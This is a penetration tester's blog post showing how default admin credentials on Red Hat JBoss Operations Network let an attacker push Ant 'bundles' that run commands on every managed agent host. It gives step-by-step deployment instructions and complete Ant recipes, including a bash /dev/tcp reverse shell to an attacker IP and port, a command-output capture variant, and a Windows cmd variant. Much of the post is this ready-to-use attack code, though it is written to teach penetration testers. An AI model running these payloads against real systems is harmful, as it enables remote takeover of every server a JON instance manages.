Awhile back, I was on an internal penetration test for a client and discovered a service called Red Hat JBoss Operations Network (JON) running on one of their servers. A little research and digging indicated that it was a centralized management platform to manage and administer JBoss servers in an organization. This is done by way of an agent (RHQ Agent) that is installed on the system to be managed, which then connects back to the JON service.
My initial research pointed me to a Java deserialization vulnerability discovered by Tenable in 2016. At the time of this writing, still no public exploit code exists to exploit the vulnerability (unless I’m just terrible at Google). This issue only affects JON versions up to 3.3.0 Update 6. This has since been fixed in Update 7.
The client had Update 7 installed; but unsurprisingly, they were using the default credentials of rhqadmin:rhqadmin to access the admin panel. After logging in, I came across some unfamiliar territory. I didn’t exactly want to get click happy, and since I had some time on this engagement, I downloaded a copy of JON and threw it in my lab.
One of the first things I noticed was the ability to deploy bundles to endpoints being managed by the agent. These bundles are made up of nothing more than an Apache Ant script with RHQ tasks. Using the Ant exec task, it’s possible to execute commands in the context of the RHQ agent. More information can be found here and here.
This means that it’s possible to remotely execute commands on every server with an RHQ agent from JON. Something we might be interested in. 🙂
To demonstrate how this works, I set up a lab with the following systems:
- RHEL 7 – JON Server
- RHEL 5 – RHQ Agent installed
- Kali – Attacker’s machine
JON deploys bundles to “resource groups” so we need to create one first. This can easily be done by going to Inventory > All Groups > New after logging in as an admin. When selecting members of the group, set the category to Platform to list the connected servers, then click the arrow to assign them.
Once created, go to the Bundles section and create a new bundle. Select Recipe and use one of the snippets below. It’ll look like this:
The snippet below uses a bash one-liner with special characters encoded for a reverse shell. Modify the IP address and port with your attacker machine then start a netcat listener. I used bash for compatibility since it’s usually a hit or miss for netcat to be installed.
<?xml version="1.0"?>
<project name="test-bundle" default="main" xmlns:rhq="antlib:org.rhq.bundle">
<rhq:bundle name="nothing-to-see-here" version="1.0" description="just-running-commands">
<rhq:deployment-unit name="execute a command" preinstallTarget="runit" compliance="filesAndDirectories">
</rhq:deployment-unit>
</rhq:bundle>
<target name="runit">
<exec executable="/bin/sh">
<arg value="-c"/>
<arg value="exec 5<>/dev/tcp/192.168.60.134/3399 && cat <&5 | while read line; do $line 2>&5 >&5; done"/>
</exec>
</target>
</project>
The second snippet uses a combination of the Ant exec task and rhq:audit task to capture output. All we’re doing here is outputting the command results to a file, then using rhq:audit task to read the file. I’ll demonstrate how it looks later in this post.
<?xml version="1.0"?>
<project name="test-bundle" default="main" xmlns:rhq="antlib:org.rhq.bundle">
<rhq:bundle name="nothing-to-see-here" version="1.0" description="just-running-commands">
<rhq:deployment-unit name="execute a command" preinstallTarget="runit" compliance="filesAndDirectories">
</rhq:deployment-unit>
</rhq:bundle>
<target name="runit">
<exec executable="/bin/sh" outputproperty="tmpcmd.out">
<arg value="-c"/>
<arg value="id"/>
</exec>
<rhq:audit info="Executed command ${rhq.deploy.dir}" message="Output: ${tmpcmd.out}">
</rhq:audit>
</target>
</project>
After you set the recipe, just leave the default options on the next page and keep pressing Next to the end.
Once you’re back on the Bundles screen, select the bundle and click Deploy. Set a Destination Name and then select the Resource Group you created earlier.
Click Next until you get to the Provide Deployment Information page (should be Step 4 of 5). Make sure you have your listener up if you’re catching a shell as clicking on Next at this point will deploy the bundle to the resource group you created. When you’re ready, click Next and your bundle will deploy.
If you’re catching a shell, it should be pretty straightforward. You should immediately get a callback.
If you’re executing a command and want to see the output, follow the same steps as above for deploying a bundle. But this time, when you’re back at the Bundles screen, expand the Unassigned Bundles tree on the left until you see see your deployment. Select the system, then double-click the Audit Message.
Side note — Deploying bundles will temporarily drop the Ant recipe to disk on the system running the command in the form of an XML. This can be found in /<rhq agent install path>/data/tmp/bundle-versions/<bundle version>/. Once the deployment is complete, the XML is deleted.
Side note 2 — For Windows hosts, just swap the “exec executable” to cmd and first arg value to “/c”.
<exec executable="cmd"> <arg value="/c"/> <arg value="net localgroup administrators"/> </exec>
Happy Hacking!
Be First to Comment